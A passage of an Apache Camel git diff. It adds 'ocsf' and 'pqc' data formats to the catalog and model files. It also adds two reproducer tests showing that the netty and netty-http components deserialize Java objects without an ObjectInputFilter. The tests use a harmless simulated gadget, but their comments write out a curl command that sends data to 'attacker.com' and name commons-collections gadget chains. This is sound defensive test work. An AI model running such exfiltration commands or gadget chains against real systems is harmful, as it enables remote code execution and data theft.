diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json index 4c637534d4227..842765353c6f1 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json @@ -12,7 +12,7 @@ "output": false }, "properties": { - "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data Format Type", "group": "common", "required": true, "type": "object", "javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "parquetAvro", "pgp", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "The data format to be used" }, + "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data Format Type", "group": "common", "required": true, "type": "object", "javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "ocsf", "parquetAvro", "pgp", "pqc", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "The data format to be used" }, "scheme": { "index": 1, "kind": "attribute", "displayName": "Scheme", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set a scheme name supported by the transformer. If you specify 'csv', the transformer will be picked up for all of 'csv' from\/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists." }, "name": { "index": 2, "kind": "attribute", "displayName": "Name", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set the transformer name under which the transformer gets referenced when specifying the input\/output data type on routes. If you specify a transformer name that matches a data type scheme like 'csv' the transformer will be picked up for all of 'csv:' from\/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists." }, "fromType": { "index": 3, "kind": "attribute", "displayName": "From Type", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set the 'from' data type name. If you specify 'xml:XYZ', the transformer will be picked up if source type is 'xml:XYZ'. If you specify just 'xml', the transformer matches with all of 'xml' source type like 'xml:ABC' or 'xml:DEF'." }, diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json index 9450e439b9658..7147213bd9ec5 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json @@ -12,6 +12,6 @@ "output": false }, "properties": { - "dataFormats": { "index": 0, "kind": "element", "displayName": "Data Formats", "group": "common", "required": true, "type": "array", "javaType": "java.util.List", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "parquetAvro", "pgp", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "A list holding the configured data formats" } + "dataFormats": { "index": 0, "kind": "element", "displayName": "Data Formats", "group": "common", "required": true, "type": "array", "javaType": "java.util.List", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "ocsf", "parquetAvro", "pgp", "pqc", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "A list holding the configured data formats" } } } diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd index 5e6156580ce51..63be8066db8d4 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd @@ -7456,6 +7456,8 @@ messages, or any custom logic needed before the looping executes. + + @@ -7469,8 +7471,6 @@ messages, or any custom logic needed before the looping executes. - - @@ -9788,6 +9788,230 @@ and input objects are assumed as GenericRecords for marshalling. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -10638,230 +10862,6 @@ Default value: true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -14948,6 +14948,8 @@ To type used as a target data type in the transformation. + + @@ -14961,8 +14963,6 @@ To type used as a target data type in the transformation. - - @@ -16416,8 +16416,10 @@ Sets the example. + + @@ -17320,7 +17322,10 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be + + + @@ -17334,7 +17339,6 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be - diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd index 17e0bed614ed7..9beb0a0cc8796 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd @@ -6119,6 +6119,8 @@ messages, or any custom logic needed before the looping executes. + + @@ -6132,8 +6134,6 @@ messages, or any custom logic needed before the looping executes. - - @@ -8451,6 +8451,230 @@ and input objects are assumed as GenericRecords for marshalling. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -9301,230 +9525,6 @@ Default value: true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -13632,6 +13632,8 @@ To type used as a target data type in the transformation. + + @@ -13645,8 +13647,6 @@ To type used as a target data type in the transformation. - - @@ -15100,8 +15100,10 @@ Sets the example. + + @@ -16004,7 +16006,10 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be + + + @@ -16018,7 +16023,6 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be - diff --git a/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java b/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java new file mode 100644 index 0000000000000..0cccc34a559b5 --- /dev/null +++ b/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java @@ -0,0 +1,126 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.camel.component.netty.http; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; + +import org.apache.camel.CamelExecutionException; +import org.apache.camel.Exchange; +import org.apache.camel.builder.RouteBuilder; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Reproducer demonstrating that camel-netty-http deserializes HTTP response bodies without ObjectInputFilter when + * {@code transferException=true}. + * + *

+ * Attack scenario: A malicious or compromised upstream server responds with HTTP 500, Content-Type + * {@code application/x-java-serialized-object}, and a crafted serialized payload. The Camel client-side producer + * deserializes it via {@link NettyHttpHelper#deserializeJavaObjectFromStream} without any class filtering, allowing + * arbitrary code execution through gadget chains. + *

+ * + *

+ * This test sets up a "malicious server" endpoint that returns a serialized {@link SimulatedGadget} (a non-Exception + * class) in the HTTP response. The client calls it with {@code transferException=true}, and the gadget's + * {@code readObject()} executes during deserialization. + *

+ */ +public class NettyHttpUnfilteredDeserializationReproducerTest extends BaseNettyTestSupport { + + @BeforeEach + void resetGadget() { + SimulatedGadget.executed = false; + } + + @Test + public void testMaliciousServerCanTriggerArbitraryDeserialization() { + // The client calls a "malicious server" with transferException=true. + // The server responds with HTTP 500 + Content-Type: application/x-java-serialized-object + // containing a serialized SimulatedGadget (NOT an Exception). + // + // NettyHttpHelper.deserializeJavaObjectFromStream() deserializes it without + // any ObjectInputFilter, so SimulatedGadget.readObject() runs on the client. + + assertThrows(CamelExecutionException.class, + () -> template.requestBody( + "netty-http:http://localhost:{{port}}/malicious?transferException=true", + "Hello World", String.class)); + + assertTrue(SimulatedGadget.executed, + "SimulatedGadget.readObject() was called on the CLIENT side during deserialization " + + "of the server's HTTP response. A malicious server can exploit this for RCE. " + + "An ObjectInputFilter should restrict deserialization to Exception subclasses only."); + } + + @Override + protected RouteBuilder createRouteBuilder() { + return new RouteBuilder() { + @Override + public void configure() { + // Simulates a malicious server that responds with a crafted serialized + // payload instead of a legitimate serialized Exception. + from("netty-http:http://0.0.0.0:{{port}}/malicious?transferException=true") + .process(exchange -> { + // Serialize a non-Exception gadget object + SimulatedGadget gadget = new SimulatedGadget(); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { + oos.writeObject(gadget); + } + + // Return it as the response body with the serialized-object content type + // and HTTP 500 to trigger the transferException deserialization path + exchange.getMessage().setBody(baos.toByteArray()); + exchange.getMessage().setHeader(Exchange.CONTENT_TYPE, + NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT); + exchange.getMessage().setHeader(Exchange.HTTP_RESPONSE_CODE, 500); + }); + } + }; + } + + /** + * Simulates a deserialization gadget. In a real attack this would be a class from a library on the classpath (e.g., + * commons-collections InvokerTransformer) that chains to {@code Runtime.getRuntime().exec("malicious command")}. + * + *

+ * Note that this is NOT an Exception subclass. The fact that it gets deserialized proves that + * {@link NettyHttpHelper#deserializeJavaObjectFromStream} accepts any Serializable class, not just Exceptions. + *

+ */ + public static class SimulatedGadget implements Serializable { + private static final long serialVersionUID = 1L; + + static volatile boolean executed; + + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); + // In a real gadget chain this would be: + // Runtime.getRuntime().exec("curl http://attacker.com/steal?data=..."); + executed = true; + } + } +} diff --git a/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java new file mode 100644 index 0000000000000..2ec3fdafba435 --- /dev/null +++ b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java @@ -0,0 +1,123 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.camel.component.netty; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +import io.netty.channel.ChannelHandler; +import io.netty.handler.codec.serialization.ClassResolvers; +import org.apache.camel.BindToRegistry; +import org.apache.camel.builder.RouteBuilder; +import org.apache.camel.component.netty.codec.ObjectDecoder; +import org.apache.camel.component.netty.codec.ObjectEncoder; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Reproducer demonstrating that camel-netty TCP endpoints using ObjectDecoder perform unrestricted Java deserialization + * without ObjectInputFilter. + * + *

+ * When ObjectDecoder is configured, ANY Serializable class sent over the wire is deserialized, including its + * {@code readObject()} method. An attacker can exploit this to achieve remote code execution via known gadget chains + * (e.g., Commons Collections, Spring, etc.). + *

+ * + *

+ * This test uses a {@link SimulatedGadget} that sets a static flag in its {@code readObject()} to prove arbitrary code + * execution during deserialization. In a real attack, this would chain to {@code Runtime.getRuntime().exec()}. + *

+ */ +public class NettyUnfilteredDeserializationReproducerTest extends BaseNettyTest { + + @BindToRegistry("encoder") + public ChannelHandler getEncoder() { + return new ShareableChannelHandlerFactory(new ObjectEncoder()); + } + + @BindToRegistry("decoder") + public ChannelHandler getDecoder() { + return new DefaultChannelHandlerFactory() { + @Override + public ChannelHandler newChannelHandler() { + return new ObjectDecoder(ClassResolvers.weakCachingResolver(null)); + } + }; + } + + @BeforeEach + void resetGadget() { + SimulatedGadget.executed = false; + } + + @Test + public void testUnfilteredDeserializationAllowsArbitraryCodeExecution() { + // An attacker sends a crafted Serializable object to the netty TCP endpoint. + // The ObjectDecoder deserializes it without any ObjectInputFilter, + // so SimulatedGadget.readObject() executes arbitrary code. + SimulatedGadget gadget = new SimulatedGadget(); + + template.requestBody( + "netty:tcp://localhost:{{port}}?sync=true&encoders=#encoder&decoders=#decoder", + gadget, Object.class); + + assertTrue(SimulatedGadget.executed, + "SimulatedGadget.readObject() was called during deserialization, " + + "proving unrestricted deserialization allows arbitrary code execution. " + + "An ObjectInputFilter should reject unknown classes."); + } + + @Override + protected RouteBuilder createRouteBuilder() { + return new RouteBuilder() { + @Override + public void configure() { + from("netty:tcp://localhost:{{port}}?sync=true&decoders=#decoder&encoders=#encoder") + .process(exchange -> { + Object body = exchange.getIn().getBody(); + exchange.getMessage().setBody("received: " + body.getClass().getName()); + }); + } + }; + } + + /** + * Simulates a deserialization gadget. In a real attack this would be a class from a library on the classpath (e.g., + * commons-collections InvokerTransformer) that chains to {@code Runtime.getRuntime().exec("malicious command")}. + * + *

+ * Here we simply set a static flag to prove that {@code readObject()} runs during deserialization -- i.e., + * arbitrary code execution is possible. + *

+ */ + public static class SimulatedGadget implements Serializable { + private static final long serialVersionUID = 1L; + + static volatile boolean executed; + + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); + // In a real gadget chain this would be: + // Runtime.getRuntime().exec("curl http://attacker.com/steal?data=..."); + executed = true; + } + } +} diff --git a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json index 9450e439b9658..7147213bd9ec5 100644 --- a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json +++ b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json @@ -12,6 +12,6 @@ "output": false }, "properties": { - "dataFormats": { "index": 0, "kind": "element", "displayName": "Data Formats", "group": "common", "required": true, "type": "array", "javaType": "java.util.List", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "parquetAvro", "pgp", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "A list holding the configured data formats" } + "dataFormats": { "index": 0, "kind": "element", "displayName": "Data Formats", "group": "common", "required": true, "type": "array", "javaType": "java.util.List", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "ocsf", "parquetAvro", "pgp", "pqc", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "A list holding the configured data formats" } } } diff --git a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json index 4c637534d4227..842765353c6f1 100644 --- a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json +++ b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json @@ -12,7 +12,7 @@ "output": false }, "properties": { - "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data Format Type", "group": "common", "required": true, "type": "object", "javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "parquetAvro", "pgp", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "The data format to be used" }, + "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data Format Type", "group": "common", "required": true, "type": "object", "javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyJson", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "ocsf", "parquetAvro", "pgp", "pqc", "protobuf", "rss", "smooks", "soap", "swiftMt", "swiftMx", "syslog", "tarFile", "thrift", "univocityCsv", "univocityFixed", "univocityTsv", "xmlSecurity", "yaml", "zipDeflater", "zipFile" ], "deprecated": false, "autowired": false, "secret": false, "description": "The data format to be used" }, "scheme": { "index": 1, "kind": "attribute", "displayName": "Scheme", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set a scheme name supported by the transformer. If you specify 'csv', the transformer will be picked up for all of 'csv' from\/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists." }, "name": { "index": 2, "kind": "attribute", "displayName": "Name", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set the transformer name under which the transformer gets referenced when specifying the input\/output data type on routes. If you specify a transformer name that matches a data type scheme like 'csv' the transformer will be picked up for all of 'csv:' from\/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists." }, "fromType": { "index": 3, "kind": "attribute", "displayName": "From Type", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set the 'from' data type name. If you specify 'xml:XYZ', the transformer will be picked up if source type is 'xml:XYZ'. If you specify just 'xml', the transformer matches with all of 'xml' source type like 'xml:ABC' or 'xml:DEF'." }, diff --git a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java index 9ec7ed0dd8569..86944ac799d34 100644 --- a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java +++ b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java @@ -46,6 +46,7 @@ import org.apache.camel.model.dataformat.MimeMultipartDataFormat; import org.apache.camel.model.dataformat.OcsfDataFormat; import org.apache.camel.model.dataformat.PGPDataFormat; +import org.apache.camel.model.dataformat.PQCDataFormat; import org.apache.camel.model.dataformat.ParquetAvroDataFormat; import org.apache.camel.model.dataformat.ProtobufDataFormat; import org.apache.camel.model.dataformat.RssDataFormat; @@ -286,6 +287,13 @@ public PGPDataFormat.Builder pgp() { return new PGPDataFormat.Builder(); } + /** + * Uses the PQC (Post-Quantum Cryptography) data format + */ + public PQCDataFormat.Builder pqc() { + return new PQCDataFormat.Builder(); + } + /** * Uses the protobuf data format */ diff --git a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java index bb43ccfd07f5d..c3ca1584515e5 100644 --- a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java +++ b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java @@ -52,6 +52,7 @@ import org.apache.camel.model.dataformat.MimeMultipartDataFormat; import org.apache.camel.model.dataformat.OcsfDataFormat; import org.apache.camel.model.dataformat.PGPDataFormat; +import org.apache.camel.model.dataformat.PQCDataFormat; import org.apache.camel.model.dataformat.ParquetAvroDataFormat; import org.apache.camel.model.dataformat.ProtobufDataFormat; import org.apache.camel.model.dataformat.ProtobufLibrary; @@ -560,6 +561,13 @@ public T pgp(String keyFileName, String keyUserid, String password, boolean armo return dataFormat(pgp); } + /** + * Uses the PQC (Post-Quantum Cryptography) data format + */ + public T pqc() { + return dataFormat(new PQCDataFormat()); + } + /** * Uses the Jackson XML data format */ diff --git a/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java b/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java index 2c6300f7349bb..fe18fa48869f2 100644 --- a/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java +++ b/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java @@ -112,6 +112,8 @@ public class MarshalDefinition extends NoOutputDefinition imp @XmlElement(name = "mimeMultipart", type = MimeMultipartDataFormat.class), @XmlElement(name = "ocsf", type = OcsfDataFormat.class), @XmlElement(name = "parquetAvro", type = ParquetAvroDataFormat.class), + @XmlElement(name = "pgp", type = PGPDataFormat.class), + @XmlElement(name = "pqc", type = PQCDataFormat.class), @XmlElement(name = "protobuf", type = ProtobufDataFormat.class), @XmlElement(name = "rss", type = RssDataFormat.class), @XmlElement(name = "smooks", type = SmooksDataFormat.class), @@ -125,8 +127,6 @@ public class MarshalDefinition extends NoOutputDefinition imp @XmlElement(name = "univocityFixed", type = UniVocityFixedDataFormat.class), @XmlElement(name = "univocityTsv", type = UniVocityTsvDataFormat.class), @XmlElement(name = "xmlSecurity", type = XMLSecurityDataFormat.class), - @XmlElement(name = "pgp", type = PGPDataFormat.class), - @XmlElement(name = "pqc", type = PQCDataFormat.class), @XmlElement(name = "yaml", type = YAMLDataFormat.class), @XmlElement(name = "zipDeflater", type = ZipDeflaterDataFormat.class), @XmlElement(name = "zipFile", type = ZipFileDataFormat.class) }) diff --git a/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java b/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java index 61cb2c3124dcd..c7ba54b7dec14 100644 --- a/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java +++ b/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java @@ -112,6 +112,8 @@ public class UnmarshalDefinition extends NoOutputDefinition @XmlElement(name = "mimeMultipart", type = MimeMultipartDataFormat.class), @XmlElement(name = "ocsf", type = OcsfDataFormat.class), @XmlElement(name = "parquetAvro", type = ParquetAvroDataFormat.class), + @XmlElement(name = "pgp", type = PGPDataFormat.class), + @XmlElement(name = "pqc", type = PQCDataFormat.class), @XmlElement(name = "protobuf", type = ProtobufDataFormat.class), @XmlElement(name = "rss", type = RssDataFormat.class), @XmlElement(name = "smooks", type = SmooksDataFormat.class), @@ -125,8 +127,6 @@ public class UnmarshalDefinition extends NoOutputDefinition @XmlElement(name = "univocityFixed", type = UniVocityFixedDataFormat.class), @XmlElement(name = "univocityTsv", type = UniVocityTsvDataFormat.class), @XmlElement(name = "xmlSecurity", type = XMLSecurityDataFormat.class), - @XmlElement(name = "pgp", type = PGPDataFormat.class), - @XmlElement(name = "pqc", type = PQCDataFormat.class), @XmlElement(name = "yaml", type = YAMLDataFormat.class), @XmlElement(name = "zipDeflater", type = ZipDeflaterDataFormat.class), @XmlElement(name = "zipFile", type = ZipFileDataFormat.class) }) diff --git a/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java b/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java index 9ef7033294556..142f31e2f4559 100644 --- a/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java +++ b/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java @@ -72,8 +72,10 @@ public class DataFormatsDefinition implements CopyableDefinition doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -1197,8 +1199,6 @@ protected void doWriteMarshalDefinition(String name, MarshalDefinition def) thro case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -1950,6 +1950,8 @@ protected void doWriteUnmarshalDefinition(String name, UnmarshalDefinition def) case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> 